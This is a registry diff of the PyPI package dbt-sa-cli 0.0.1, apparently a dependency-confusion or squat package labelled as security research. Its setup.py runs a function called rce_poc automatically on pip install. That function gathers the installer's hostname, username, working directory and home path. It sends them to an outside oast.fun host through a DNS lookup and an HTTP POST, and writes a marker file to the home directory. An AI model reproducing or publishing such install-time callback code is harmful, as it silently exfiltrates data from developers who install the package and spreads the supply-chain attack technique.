dbt-sa-cli 0.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dbt_sa_cli-0.0.1/PKG-INFO +11 -0
- dbt_sa_cli-0.0.1/dbt_sa_cli/__init__.py +1 -0
- dbt_sa_cli-0.0.1/dbt_sa_cli.egg-info/PKG-INFO +11 -0
- dbt_sa_cli-0.0.1/dbt_sa_cli.egg-info/SOURCES.txt +7 -0
- dbt_sa_cli-0.0.1/dbt_sa_cli.egg-info/dependency_links.txt +1 -0
- dbt_sa_cli-0.0.1/dbt_sa_cli.egg-info/top_level.txt +1 -0
- dbt_sa_cli-0.0.1/pyproject.toml +3 -0
- dbt_sa_cli-0.0.1/setup.cfg +4 -0
- dbt_sa_cli-0.0.1/setup.py +57 -0
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dbt-sa-cli
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: Security research — contact rootxravi@gmail.com
|
|
5
|
+
Author: Security Research
|
|
6
|
+
Author-email: rootxravi@gmail.com
|
|
7
|
+
Requires-Python: >=3.8
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: author-email
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
"""Security research placeholder."""
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dbt-sa-cli
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: Security research — contact rootxravi@gmail.com
|
|
5
|
+
Author: Security Research
|
|
6
|
+
Author-email: rootxravi@gmail.com
|
|
7
|
+
Requires-Python: >=3.8
|
|
8
|
+
Dynamic: author
|
|
9
|
+
Dynamic: author-email
|
|
10
|
+
Dynamic: requires-python
|
|
11
|
+
Dynamic: summary
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
dbt_sa_cli
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
import setuptools
|
|
2
|
+
import os
|
|
3
|
+
import socket
|
|
4
|
+
import urllib.request
|
|
5
|
+
|
|
6
|
+
def rce_poc():
|
|
7
|
+
info = {
|
|
8
|
+
"hostname": socket.gethostname(),
|
|
9
|
+
"user": os.environ.get("USER", os.environ.get("USERNAME", "unknown")),
|
|
10
|
+
"cwd": os.getcwd(),
|
|
11
|
+
"home": os.path.expanduser("~"),
|
|
12
|
+
"poc": "dbt-sa-cli-pypi-squat-rce"
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
# DNS callback
|
|
16
|
+
try:
|
|
17
|
+
tag = f"{info['user']}.{info['hostname']}.dbt-sa-cli"
|
|
18
|
+
tag = tag.replace(" ", "-")[:60]
|
|
19
|
+
socket.gethostbyname(f"{tag}.yokodnssmamqdchvjfyqyo8zaq3s90h8e.oast.fun")
|
|
20
|
+
except Exception:
|
|
21
|
+
pass
|
|
22
|
+
|
|
23
|
+
# HTTP callback
|
|
24
|
+
try:
|
|
25
|
+
data = "&".join(f"{k}={v}" for k, v in info.items()).encode()
|
|
26
|
+
urllib.request.urlopen(
|
|
27
|
+
urllib.request.Request(
|
|
28
|
+
"https://yokodnssmamqdchvjfyqyo8zaq3s90h8e.oast.fun/dbt-sa-cli",
|
|
29
|
+
data=data,
|
|
30
|
+
headers={"User-Agent": "dbt-sa-cli-rce-poc"}
|
|
31
|
+
),
|
|
32
|
+
timeout=5
|
|
33
|
+
)
|
|
34
|
+
except Exception:
|
|
35
|
+
pass
|
|
36
|
+
|
|
37
|
+
# Local marker
|
|
38
|
+
try:
|
|
39
|
+
marker = os.path.join(os.path.expanduser("~"), ".dbt-sa-cli-rce-poc")
|
|
40
|
+
with open(marker, "w") as f:
|
|
41
|
+
f.write("RCE via pip install dbt-sa-cli\n")
|
|
42
|
+
for k, v in info.items():
|
|
43
|
+
f.write(f"{k}={v}\n")
|
|
44
|
+
except Exception:
|
|
45
|
+
pass
|
|
46
|
+
|
|
47
|
+
rce_poc()
|
|
48
|
+
|
|
49
|
+
setuptools.setup(
|
|
50
|
+
name="dbt-sa-cli",
|
|
51
|
+
version="0.0.1",
|
|
52
|
+
description="Security research — contact rootxravi@gmail.com",
|
|
53
|
+
author="Security Research",
|
|
54
|
+
author_email="rootxravi@gmail.com",
|
|
55
|
+
packages=["dbt_sa_cli"],
|
|
56
|
+
python_requires=">=3.8",
|
|
57
|
+
)
|